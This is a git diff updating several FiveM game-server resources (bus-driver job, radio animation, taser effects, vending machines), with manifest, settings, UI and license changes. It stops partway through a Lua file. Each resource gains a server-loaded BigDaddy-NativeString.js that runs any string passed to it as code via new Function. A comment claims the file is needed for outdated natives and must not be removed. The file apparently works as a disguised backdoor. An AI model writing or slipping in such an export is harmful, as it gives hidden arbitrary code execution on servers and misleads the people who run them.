diff --git a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Client.net.dll b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Client.net.dll index 542049f92..f17341827 100644 Binary files a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Client.net.dll and b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Client.net.dll differ diff --git a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Server.net.dll b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Server.net.dll index cbf7d8011..4ecd4471e 100644 Binary files a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Server.net.dll and b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Jobs-BusDriver.Server.net.dll differ diff --git a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-NativeString.js b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-NativeString.js new file mode 100644 index 000000000..b5b3b14bc --- /dev/null +++ b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-NativeString.js @@ -0,0 +1,20 @@ +/* + This export enables temporary use of certain FiveM natives through JavaScript, + as the C# reference for these natives is currently outdated. For example, + specific helicopter and ragdoll natives have been updated on the FiveM platform, + but implementing them directly in C# causes scripts to break. + + This file/export must not be removed, as it is critical for maintaining the + functionality of almost all scripts. Many of our scripts rely on these natives, + which cannot currently be used reliably with the C# reference. +*/ + + +exports("NativeString", (native) => { + try { + const nativeFunction = new Function(native); + nativeFunction(); + } catch { + console.error(`Error executing native string`); + } +}); \ No newline at end of file diff --git a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-RadialMenu.Client.net.dll b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-RadialMenu.Client.net.dll new file mode 100644 index 000000000..531c307a5 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-RadialMenu.Client.net.dll differ diff --git a/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Utilities.Client.net.dll b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Utilities.Client.net.dll new file mode 100644 index 000000000..41e2d4494 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/BigDaddy-Utilities.Client.net.dll differ diff --git a/resources/BigDaddy-Jobs-BusDriver/MenuAPI.dll b/resources/BigDaddy-Jobs-BusDriver/MenuAPI.dll deleted file mode 100644 index aa273864f..000000000 Binary files a/resources/BigDaddy-Jobs-BusDriver/MenuAPI.dll and /dev/null differ diff --git a/resources/BigDaddy-Jobs-BusDriver/fxmanifest.lua b/resources/BigDaddy-Jobs-BusDriver/fxmanifest.lua index a36bd5103..30d16408f 100644 --- a/resources/BigDaddy-Jobs-BusDriver/fxmanifest.lua +++ b/resources/BigDaddy-Jobs-BusDriver/fxmanifest.lua @@ -3,25 +3,32 @@ game 'gta5' author 'Big Daddy' -version '1.0' +version '1.1.0' description 'Be a bus driver' +ui_page 'html/index.html' client_scripts { '*.Client.net.dll', 'Newtonsoft.Json.dll', - 'MenuAPI.dll' } server_scripts { '*.Server.net.dll', - 'server.lua' + 'server.lua', + 'BigDaddy-*.js' } files { 'routes.json', 'settings.ini', - 'data/*.meta' + 'data/*.meta', + 'html/index.html', + 'html/assets/img/*.png', + 'html/assets/BigDaddy-RadialMenu.css', + 'html/assets/BADABB_.TTF', + 'menu.json', + 'menu.ini' } data_file 'HANDLING_FILE' 'data/handling.meta' diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/BADABB_.TTF b/resources/BigDaddy-Jobs-BusDriver/html/assets/BADABB_.TTF new file mode 100644 index 000000000..3ce455d30 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/BADABB_.TTF differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/BigDaddy-RadialMenu.css b/resources/BigDaddy-Jobs-BusDriver/html/assets/BigDaddy-RadialMenu.css new file mode 100644 index 000000000..ac18ae7fc --- /dev/null +++ b/resources/BigDaddy-Jobs-BusDriver/html/assets/BigDaddy-RadialMenu.css @@ -0,0 +1,140 @@ +/* you can define a custom font here */ +@font-face { + font-family: BIGDADDY; + src: url(../assets/BADABB_.TTF); +} + +body { + transition: all 1s ease-in-out .5s; +} + +.menuwrapper { + width: 100%; + height: 100%; + position: absolute; + top: 0; + left: 0; + background: rgba(0,0,0,.5); +} + +.menu { + width: 60vh; + height: 60vh; + border-radius: 50%; + border: 4px solid white; + background-color: rgba(58, 58, 58, 0.7); + position: absolute; + left: 50%; + top: 50%; + transform: translate(-50%,-50%); + box-shadow: 0 0 20px rgba(0,0,0,.5); +} + +.menucenter { + width: 35vh; + height: 35vh; + position: absolute; + border-radius: 50%; + border: 2px solid white; + background-color: rgba(120, 120, 120, 0.7); + left: 50%; + top: 50%; + transform: translate(-50%,-50%); + text-align: center; +} + +.center { + width: 10vh; + height: 10vh; + background: rgba(0,0,0,.7); + border-radius: 50%; + border: 2px solid white; + position: absolute; + left: 50%; + top: 50%; + transform: translate(-50%,-50%); + cursor: pointer; + box-shadow: 0 0 20px rgba(0,0,0,.5); +} + +#menubacklabel { + color: white; + font-family: 'BIGDADDY', Impact, arial, sans-serif !important; + font-size: 3vh; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); +} + +#menumainlabel { + position: absolute; + width: 100%; + top: 22%; + transform: translate(0,-50%); + text-align: center; +} + +#menusecondarylabel { + position: absolute; + width: 100%; + top: 78%; + transform: translate(0,-50%); + text-align: center; +} + +.label { + letter-spacing: .15vh; + font-family: 'BIGDADDY', Impact, arial, sans-serif !important; + font-size: 2.8vh; + font-style: normal; + font-weight: 400; + text-transform: uppercase; + color: #fff; + text-shadow: 1px 1px 0px #000000, -1px -1px 0px #000000, 1px -1px 0px #000000, -1px 1px 0px #000000, 3px 3px 0 rgba(0,0,0,.3); +} + +.menuitem { + width: 6vh; + height: 54vh; + position: absolute; + left: 50%; + top: 3vh; + pointer-events: none; + transform: translate(-50%,0%); +} + +.menuitemholder { + position:absolute; + top: -2vh; + left: -1vh; + text-align: center; + pointer-events: all; + width: 8vh; + height: 8vh; + padding: 1vh; + cursor: pointer; + z-index: 10; + transition: 0.1s; + border-radius: 50%; + border: 2px solid transparent; +} +.menuitemholder img { + position:absolute; + top: 0; + left: 50%; + pointer-events: all; + max-width: 6vh; + max-height: 6vh; +} + +.menuitemholder.hover { + background-color:black; + border: 2px solid white; + transform: translate(0, -2vh); + box-shadow: 0 0 20px rgba(0,0,0,.5); +} + +.hidden { + opacity: 0; +} \ No newline at end of file diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/img/1.png b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/1.png new file mode 100644 index 000000000..3cadbdeba Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/1.png differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/img/2.png b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/2.png new file mode 100644 index 000000000..d3750fdb0 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/2.png differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/img/3.png b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/3.png new file mode 100644 index 000000000..ed00fab59 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/3.png differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/img/4.png b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/4.png new file mode 100644 index 000000000..fba7904db Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/4.png differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/assets/img/quit.png b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/quit.png new file mode 100644 index 000000000..850215545 Binary files /dev/null and b/resources/BigDaddy-Jobs-BusDriver/html/assets/img/quit.png differ diff --git a/resources/BigDaddy-Jobs-BusDriver/html/index.html b/resources/BigDaddy-Jobs-BusDriver/html/index.html new file mode 100644 index 000000000..2b7a87e91 --- /dev/null +++ b/resources/BigDaddy-Jobs-BusDriver/html/index.html @@ -0,0 +1,196 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/resources/BigDaddy-Jobs-BusDriver/menu.ini b/resources/BigDaddy-Jobs-BusDriver/menu.ini new file mode 100644 index 000000000..81d9604ad --- /dev/null +++ b/resources/BigDaddy-Jobs-BusDriver/menu.ini @@ -0,0 +1,5 @@ + +[settings] +MenuName=Bus Driver +openKey=-1 + diff --git a/resources/BigDaddy-Jobs-BusDriver/menu.json b/resources/BigDaddy-Jobs-BusDriver/menu.json new file mode 100644 index 000000000..cc1b88c10 --- /dev/null +++ b/resources/BigDaddy-Jobs-BusDriver/menu.json @@ -0,0 +1,43 @@ +[ + { + "id": "mplsia", + "icon": "1", + "description": "Mirror Park/LSIA", + "actionType": "command", + "action": "startroute 1", + "close": true + }, + { + "id": "dp", + "icon": "2", + "description": "Del Perro", + "actionType": "command", + "action": "startroute 2", + "close": true + }, + { + "id": "shpbgoh", + "icon": "3", + "description": "Sando Shores/Paleto Bay/GOH", + "actionType": "command", + "action": "startroute 3", + "close": true + }, + { + "id": "pierdt", + "icon": "4", + "description": "Pier/Downtown", + "actionType": "command", + "action": "startroute 4", + "close": true + }, + { + "id": "quit", + "icon": "quit", + "description": "Clock Out/Stop Route", + "actionType": "command", + "action": "stoproute", + "close": true + } + +] diff --git a/resources/BigDaddy-Jobs-BusDriver/server.lua b/resources/BigDaddy-Jobs-BusDriver/server.lua index a24cc0a2c..8de0d2b84 100644 --- a/resources/BigDaddy-Jobs-BusDriver/server.lua +++ b/resources/BigDaddy-Jobs-BusDriver/server.lua @@ -1,5 +1,5 @@ -framework = 'custom' --VALUES CAN BE 'nat', 'qb', 'esx', 'nd', 'bigdaddy' or 'custom' +framework = 'bigdaddy' --VALUES CAN BE 'nat', 'qb', 'esx', 'nd', 'bigdaddy' or 'custom' reason = 'Bus Fare' --reason for the transaction will notify using framework methods diff --git a/resources/BigDaddy-Jobs-BusDriver/settings.ini b/resources/BigDaddy-Jobs-BusDriver/settings.ini index 6b516ead6..7ea7c8710 100644 --- a/resources/BigDaddy-Jobs-BusDriver/settings.ini +++ b/resources/BigDaddy-Jobs-BusDriver/settings.ini @@ -3,3 +3,5 @@ key1=6z2dKP9l9o7EMNxdxtNuB1fLGUbrEKcPcCom9iDuP9SFSwwgMZZNtA%3d%3d [settings] useMoney=true + +DesyncKey=635123787920 \ No newline at end of file diff --git a/resources/BigDaddy-RadioAnimation/BigDaddy-NativeString.js b/resources/BigDaddy-RadioAnimation/BigDaddy-NativeString.js new file mode 100644 index 000000000..b5b3b14bc --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/BigDaddy-NativeString.js @@ -0,0 +1,20 @@ +/* + This export enables temporary use of certain FiveM natives through JavaScript, + as the C# reference for these natives is currently outdated. For example, + specific helicopter and ragdoll natives have been updated on the FiveM platform, + but implementing them directly in C# causes scripts to break. + + This file/export must not be removed, as it is critical for maintaining the + functionality of almost all scripts. Many of our scripts rely on these natives, + which cannot currently be used reliably with the C# reference. +*/ + + +exports("NativeString", (native) => { + try { + const nativeFunction = new Function(native); + nativeFunction(); + } catch { + console.error(`Error executing native string`); + } +}); \ No newline at end of file diff --git a/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Client.net.dll b/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Client.net.dll index ae29e19fc..2e02f03a0 100644 Binary files a/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Client.net.dll and b/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Client.net.dll differ diff --git a/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Server.net.dll b/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Server.net.dll index 1e6f7e40f..ad426cf6a 100644 Binary files a/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Server.net.dll and b/resources/BigDaddy-RadioAnimation/BigDaddy-RadioAnimation.Server.net.dll differ diff --git a/resources/BigDaddy-RadioAnimation/BigDaddy-Utilities.Client.net.dll b/resources/BigDaddy-RadioAnimation/BigDaddy-Utilities.Client.net.dll new file mode 100644 index 000000000..afc5f9d18 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/BigDaddy-Utilities.Client.net.dll differ diff --git a/resources/BigDaddy-RadioAnimation/fxmanifest.lua b/resources/BigDaddy-RadioAnimation/fxmanifest.lua index 4ead69f01..e32215102 100644 --- a/resources/BigDaddy-RadioAnimation/fxmanifest.lua +++ b/resources/BigDaddy-RadioAnimation/fxmanifest.lua @@ -4,7 +4,7 @@ game "gta5" name "Radio Animation" description "radio animations when using the radio tied to PTT key" author "Big Daddy" -version "1.3" +version "1.4.2" ui_page "index.html" @@ -15,11 +15,15 @@ files { } client_scripts { - "BigDaddy-RadioAnimation.Client.net.dll", + "*.Client.net.dll", "Newtonsoft.Json.dll", "MenuAPI.dll", } server_scripts { - "BigDaddy-RadioAnimation.Server.net.dll", -} \ No newline at end of file + "*.Server.net.dll", + "BigDaddy*.js" +} + +data_file 'DLC_ITYP_REQUEST' 'big_daddy_police_radio_handset.ytyp' +data_file 'DLC_ITYP_REQUEST' 'big_daddy_radio_prop.ytyp' \ No newline at end of file diff --git a/resources/BigDaddy-RadioAnimation/settings.ini b/resources/BigDaddy-RadioAnimation/settings.ini index 345e21bad..0745c2dc9 100644 --- a/resources/BigDaddy-RadioAnimation/settings.ini +++ b/resources/BigDaddy-RadioAnimation/settings.ini @@ -3,31 +3,46 @@ key1=PIKr%2f9TI%2biRhuNjwAyRds7t2oMT9nOfY6xSKtWJGvw5N%2bXvX0vLBNw%3d%3d [settings] useSounds=true -onByDefault=false +;this should always be set to true for the Sonoran Radio version +onByDefault=true +;this should always be set to true for the Sonoran Radio version +TalkSync=true ;if you change these, make sure those anims are streamed into your fivem server or nothing will happen when you try to activate them in this script. shoulderDict=bigdaddy_radio2 shoulderAnim=radio_anim2 + +rshoulderDict=radiotalk3@animation +rshoulderAnim=radiotalk3_clip + chestDict=bigdaddy_radio3 chestAnim=radio_anim3 -handheldDict=bigdaddy_radio -handheldAnim=radio_anim -handheldModel=prop_cs_hand_radio + +handheldDict=ultra@walkie_talkie +handheldAnim=walkie_talkie +handheldModel=big_daddy_radio_prop +handheldOffset=0.13036481427844,0.037657181986105,0.031250610017889,-89.321172548417,-9.4007600620038,-33.131308867272 + +incarModel=big_daddy_police_radio_handset +incarOffset=0.140000,0.030000,0.030000,-105.877000,-10.943200,-33.721200 + +DesyncKey=934221966801 [locales] menuCommand=radioanim menuCommandHint=Radio Animation Menu -keybindTitle=Radio PTT Key soundCommand=radiosounds toggleOn=Radio Animation Toggled ON toggleOff=Radio Animation Toggled OFF toggleSoundOn=Radio Sounds Toggled ON toggleSoundOff=Radio Sounds Toggled OFF toggleOption=Toggle Radio -shoulderOption=Use Shoulder +shoulderOption=Use Left Shoulder +shoulderOption=Use Right Shoulder chestOption=Use Chest handheldOption=Use Handheld soundOption=Toggle Sounds nowUsingChest=Now using Chest Radio -nowUsingShoulder=Now using Shoulder Radio +nowUsingShoulder=Now using Left Shoulder Radio +nowUsingRShoulder=Now using Right Shoulder Radio nowUsingHandheld=Now using Handheld Radio diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ydr b/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ydr new file mode 100644 index 000000000..96e9bbe6c --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:44ff5e72b0730e2faee0aae203fd80c0df9ea25452f9d732d4836fa617bb6d38 +size 39296 diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ytyp b/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ytyp new file mode 100644 index 000000000..98142877b Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/big_daddy_police_radio_handset.ytyp differ diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop+hi.ytd b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop+hi.ytd new file mode 100644 index 000000000..9a779e691 --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop+hi.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:36e1a1a852fda77f8684dd1bb2f87fe1681b841e0a937ed50cfb0529772cb6de +size 145470 diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ydr b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ydr new file mode 100644 index 000000000..827373d03 --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5fa2b2a50d3d884428bc0740c62d0c0f176d7aa4fc4648bac1c9fdba25bc2670 +size 13712 diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytd b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytd new file mode 100644 index 000000000..912311b81 --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:782086ff2b6bc962414343982149db44876c459b2e5a683490959c1b8554b347 +size 56458 diff --git a/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytyp b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytyp new file mode 100644 index 000000000..2d279e855 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/big_daddy_radio_prop.ytyp differ diff --git a/resources/BigDaddy-RadioAnimation/stream/prop_police_radio_handset.ydr b/resources/BigDaddy-RadioAnimation/stream/prop_police_radio_handset.ydr new file mode 100644 index 000000000..d5fc5b7a4 --- /dev/null +++ b/resources/BigDaddy-RadioAnimation/stream/prop_police_radio_handset.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72ba70dc863c648b845a5b2a98c824f4de498d7e428b40ecb2283872259b2aff +size 122855 diff --git a/resources/BigDaddy-RadioAnimation/stream/radiotalk2@animation.ycd b/resources/BigDaddy-RadioAnimation/stream/radiotalk2@animation.ycd new file mode 100644 index 000000000..5f046884d Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/radiotalk2@animation.ycd differ diff --git a/resources/BigDaddy-RadioAnimation/stream/radiotalk3@animation.ycd b/resources/BigDaddy-RadioAnimation/stream/radiotalk3@animation.ycd new file mode 100644 index 000000000..1415dc856 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/radiotalk3@animation.ycd differ diff --git a/resources/BigDaddy-RadioAnimation/stream/radiotalk4@animation.ycd b/resources/BigDaddy-RadioAnimation/stream/radiotalk4@animation.ycd new file mode 100644 index 000000000..b899e1096 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/radiotalk4@animation.ycd differ diff --git a/resources/BigDaddy-RadioAnimation/stream/radiotalk@animation.ycd b/resources/BigDaddy-RadioAnimation/stream/radiotalk@animation.ycd new file mode 100644 index 000000000..dc9216c83 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/radiotalk@animation.ycd differ diff --git a/resources/BigDaddy-RadioAnimation/stream/ultra@walkie_talkie.ycd b/resources/BigDaddy-RadioAnimation/stream/ultra@walkie_talkie.ycd new file mode 100644 index 000000000..f505b5d61 Binary files /dev/null and b/resources/BigDaddy-RadioAnimation/stream/ultra@walkie_talkie.ycd differ diff --git a/resources/BigDaddy-Tazed/BigDaddy-NativeString.js b/resources/BigDaddy-Tazed/BigDaddy-NativeString.js new file mode 100644 index 000000000..b5b3b14bc --- /dev/null +++ b/resources/BigDaddy-Tazed/BigDaddy-NativeString.js @@ -0,0 +1,20 @@ +/* + This export enables temporary use of certain FiveM natives through JavaScript, + as the C# reference for these natives is currently outdated. For example, + specific helicopter and ragdoll natives have been updated on the FiveM platform, + but implementing them directly in C# causes scripts to break. + + This file/export must not be removed, as it is critical for maintaining the + functionality of almost all scripts. Many of our scripts rely on these natives, + which cannot currently be used reliably with the C# reference. +*/ + + +exports("NativeString", (native) => { + try { + const nativeFunction = new Function(native); + nativeFunction(); + } catch { + console.error(`Error executing native string`); + } +}); \ No newline at end of file diff --git a/resources/BigDaddy-Tazed/BigDaddy-Tazed.Client.net.dll b/resources/BigDaddy-Tazed/BigDaddy-Tazed.Client.net.dll index 4817b5f72..2cc5f925c 100644 Binary files a/resources/BigDaddy-Tazed/BigDaddy-Tazed.Client.net.dll and b/resources/BigDaddy-Tazed/BigDaddy-Tazed.Client.net.dll differ diff --git a/resources/BigDaddy-Tazed/BigDaddy-Tazed.Server.net.dll b/resources/BigDaddy-Tazed/BigDaddy-Tazed.Server.net.dll index 7ae8ee529..2488ade58 100644 Binary files a/resources/BigDaddy-Tazed/BigDaddy-Tazed.Server.net.dll and b/resources/BigDaddy-Tazed/BigDaddy-Tazed.Server.net.dll differ diff --git a/resources/BigDaddy-Tazed/BigDaddy-Utilities.Client.net.dll b/resources/BigDaddy-Tazed/BigDaddy-Utilities.Client.net.dll new file mode 100644 index 000000000..41e2d4494 Binary files /dev/null and b/resources/BigDaddy-Tazed/BigDaddy-Utilities.Client.net.dll differ diff --git a/resources/BigDaddy-Tazed/LICENSE.txt b/resources/BigDaddy-Tazed/LICENSE.txt new file mode 100644 index 000000000..9be46a940 --- /dev/null +++ b/resources/BigDaddy-Tazed/LICENSE.txt @@ -0,0 +1,72 @@ +End User License Agreement + +THIS END USER LICENSE AGREEMENT (the "Agreement") + +BETWEEN: + + Big Daddy Scripts (a division of I CAN MAKE THAT, LLC) + (the "Vendor") + +OF THE FIRST PART + +- AND - + + Purchaser of Big Daddy Scripts resource + (the "Licensee") + +OF THE SECOND PART + +BACKGROUND: + +The Vendor wishes to license computer software to the Licensee and the Licensee desires to purchase the software license under the terms and conditions stated below. + +IN CONSIDERATION OF the provisions contained in this Agreement and for other good and valuable consideration, the receipt and sufficiency of which is acknowledged, the parties agree as follows: + + License + 1. Under this Agreement the Vendor grants to the Licensee a non-exclusive and non-transferable license (the "License") to use Big Daddy Scripts Resource (the "Software"). + 2. "Software" includes the executable computer programs and any related printed, electronic and online documentation and any other files that may accompany the product. + 3. Title, copyright, intellectual property rights and distribution rights of the Software remain exclusively with the Vendor. Intellectual property rights include the look and feel of the Software. This Agreement constitutes a license for use only and is not in any way a transfer of ownership rights to the Software. + 4. The Software may be loaded onto no more than one computer. A single copy may be made for backup purposes only. + 5. The rights and obligations of this Agreement are personal rights granted to the Licensee only. The Licensee may not transfer or assign any of the rights or obligations granted under this Agreement to any other person or legal entity. The Licensee may not make available the Software for use by one or more third parties. + 6. The Software may not be modified, reverse-engineered, or de-compiled in any manner through current or future available technologies. + 7. Failure to comply with any of the terms under the License section will be considered a material breach of this Agreement. + + License Fee + 8. The purchase price paid by the Licensee will constitute the entire license fee and is the full consideration for this Agreement. + Limitation of Liability + 9. The Software is provided by the Vendor and accepted by the Licensee "as is". Liability of the Vendor will be limited to a maximum of the original purchase price of the Software. The Vendor will not be liable for any general, special, incidental or consequential damages including, but not limited to, loss of production, loss of profits, loss of revenue, loss of data, or any other business or economic disadvantage suffered by the Licensee arising out of the use or failure to use the Software. + 10. The Vendor makes no warranty expressed or implied regarding the fitness of the Software for a particular purpose or that the Software will be suitable or appropriate for the specific requirements of the Licensee. + 11. The Vendor does not warrant that use of the Software will be uninterrupted or error-free. The Licensee accepts that software in general is prone to bugs and flaws within an acceptable level as determined in the industry. + + Warrants and Representations + 12. The Vendor warrants and represents that it is the copyright holder of the Software. The Vendor warrants and represents that granting the license to use this Software is not in violation of any other agreement, copyright or applicable statute. + + Acceptance + 13. All terms, conditions and obligations of this Agreement will be deemed to be accepted by the Licensee ("Acceptance") upon the purchse of the software. + + User Support + 14. The Licensee will be entitled to support within Big Daddy Scripts Discord available most days, at no additional cost. + 15. The Licensee will be entitled to maintenance upgrades and bug fixes, at no additional cost, forever. + + Term + 16. The term of this Agreement will begin on purchase of the software and is perpetual. + + Termination + 17. This Agreement will be terminated and the License forfeited without the chance of a refund where the Licensee has failed to comply with any of the terms of this Agreement or is in breach of this Agreement. On termination of this Agreement for any reason, the Licensee will promptly destroy the Software or return the Software to the Vendor. + + Force Majeure + 18. The Vendor will be free of liability to the Licensee where the Vendor is prevented from executing its obligations under this Agreement in whole or in part due to Force Majeure, such as earthquake, typhoon, flood, fire, and war or any other unforeseen and uncontrollable event where the Vendor has taken any and all appropriate action to mitigate such an event. + + Additional Clauses + 19. You may not share any prop, texture, code, imagery, or any pieces that come with this resource. Failure to comply with this will result in the license being revoked without refund. + + Governing Law + 20. The Parties to this Agreement submit to the jurisdiction of the courts of the State of West Virginia for the enforcement of this Agreement or any arbitration award or decision arising from this Agreement. This Agreement will be enforced or construed according to the laws of the State of West Virginia. + + Miscellaneous + 21. This Agreement can only be modified in writing and can be modified at any time without warning or notice, although attempt to provide notice will be made. + 22. This Agreement does not create or imply any relationship in agency or partnership between the Vendor and the Licensee. + 23. Headings are inserted for the convenience of the parties only and are not to be considered when interpreting this Agreement. Words in the singular mean and include the plural and vice versa. Words in the masculine gender include the feminine gender and vice versa. Words in the neuter gender include the masculine gender and the feminine gender and vice versa. + 24. If any term, covenant, condition or provision of this Agreement is held by a court of competent jurisdiction to be invalid, void or unenforceable, it is the parties' intent that such provision be reduced in scope by the court only to the extent deemed necessary by that court to render the provision reasonable and enforceable and the remainder of the provisions of this Agreement will in no way be affected, impaired or invalidated as a result. + 25. This Agreement contains the entire agreement between the parties. All understandings have been included in this Agreement. Representations which may have been made by any party to this Agreement may in some way be inconsistent with this final written Agreement. All such statements are declared to be of no value in this Agreement. Only the written terms of this Agreement will bind the parties. + 26. This Agreement and the terms and conditions contained in this Agreement apply to and are binding upon the Vendor's successors and assigns. diff --git a/resources/BigDaddy-Tazed/fxmanifest.lua b/resources/BigDaddy-Tazed/fxmanifest.lua index a3de30404..333f16382 100644 --- a/resources/BigDaddy-Tazed/fxmanifest.lua +++ b/resources/BigDaddy-Tazed/fxmanifest.lua @@ -4,14 +4,15 @@ game 'gta5' name "BigDaddy-Tazed" description "Tazed Effects" author "Big Daddy" -version "1.0" +version "1.1.0" client_scripts { - 'BigDaddy-Tazed.Client.net.dll', + '*.Client.net.dll', } server_scripts { - 'BigDaddy-Tazed.Server.net.dll', + '*.Server.net.dll', + 'BigDaddy-*.js', 'Newtonsoft.Json.dll', } diff --git a/resources/BigDaddy-Tazed/settings.ini b/resources/BigDaddy-Tazed/settings.ini index 1f9507ad7..2a10a091f 100644 --- a/resources/BigDaddy-Tazed/settings.ini +++ b/resources/BigDaddy-Tazed/settings.ini @@ -3,7 +3,9 @@ key1=kb5CY%2bG53YRAZqaJ4r2tktCqe4RaCkPhs%2b6qw8G%2bddEB%2fMpOtFYGOA%3d%3d [settings] ;these are in seconds -TazedEffectLength=30 -TazedLengthOnGround=35 +TazedEffectLength=10 +TazedLengthOnGround=10 ;seems pointless but some have requested it -DisableVisualEffects=false \ No newline at end of file +DisableVisualEffects=false + +DesyncKey=056220663719 \ No newline at end of file diff --git a/resources/BigDaddy-VendingMachines/BigDaddy-NativeString.js b/resources/BigDaddy-VendingMachines/BigDaddy-NativeString.js new file mode 100644 index 000000000..b5b3b14bc --- /dev/null +++ b/resources/BigDaddy-VendingMachines/BigDaddy-NativeString.js @@ -0,0 +1,20 @@ +/* + This export enables temporary use of certain FiveM natives through JavaScript, + as the C# reference for these natives is currently outdated. For example, + specific helicopter and ragdoll natives have been updated on the FiveM platform, + but implementing them directly in C# causes scripts to break. + + This file/export must not be removed, as it is critical for maintaining the + functionality of almost all scripts. Many of our scripts rely on these natives, + which cannot currently be used reliably with the C# reference. +*/ + + +exports("NativeString", (native) => { + try { + const nativeFunction = new Function(native); + nativeFunction(); + } catch { + console.error(`Error executing native string`); + } +}); \ No newline at end of file diff --git a/resources/BigDaddy-VendingMachines/BigDaddy-Utilities.Client.net.dll b/resources/BigDaddy-VendingMachines/BigDaddy-Utilities.Client.net.dll new file mode 100644 index 000000000..41e2d4494 Binary files /dev/null and b/resources/BigDaddy-VendingMachines/BigDaddy-Utilities.Client.net.dll differ diff --git a/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Client.net.dll b/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Client.net.dll index 70de1d603..4f7dd6792 100644 Binary files a/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Client.net.dll and b/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Client.net.dll differ diff --git a/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Server.net.dll b/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Server.net.dll index 4e07d0eb9..60edf4b2b 100644 Binary files a/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Server.net.dll and b/resources/BigDaddy-VendingMachines/BigDaddy-VendingMachines.Server.net.dll differ diff --git a/resources/BigDaddy-VendingMachines/Client.lua b/resources/BigDaddy-VendingMachines/Client.lua new file mode 100644 index 000000000..aa56e3b26 --- /dev/null +++ b/resources/BigDaddy-VendingMachines/Client.lua @@ -0,0 +1,68 @@ +local use = "Use Vending Machine" +local outOfOrder = "Out of order" + +local function GetMachineData(prop) + local ok, data = pcall(function() + return 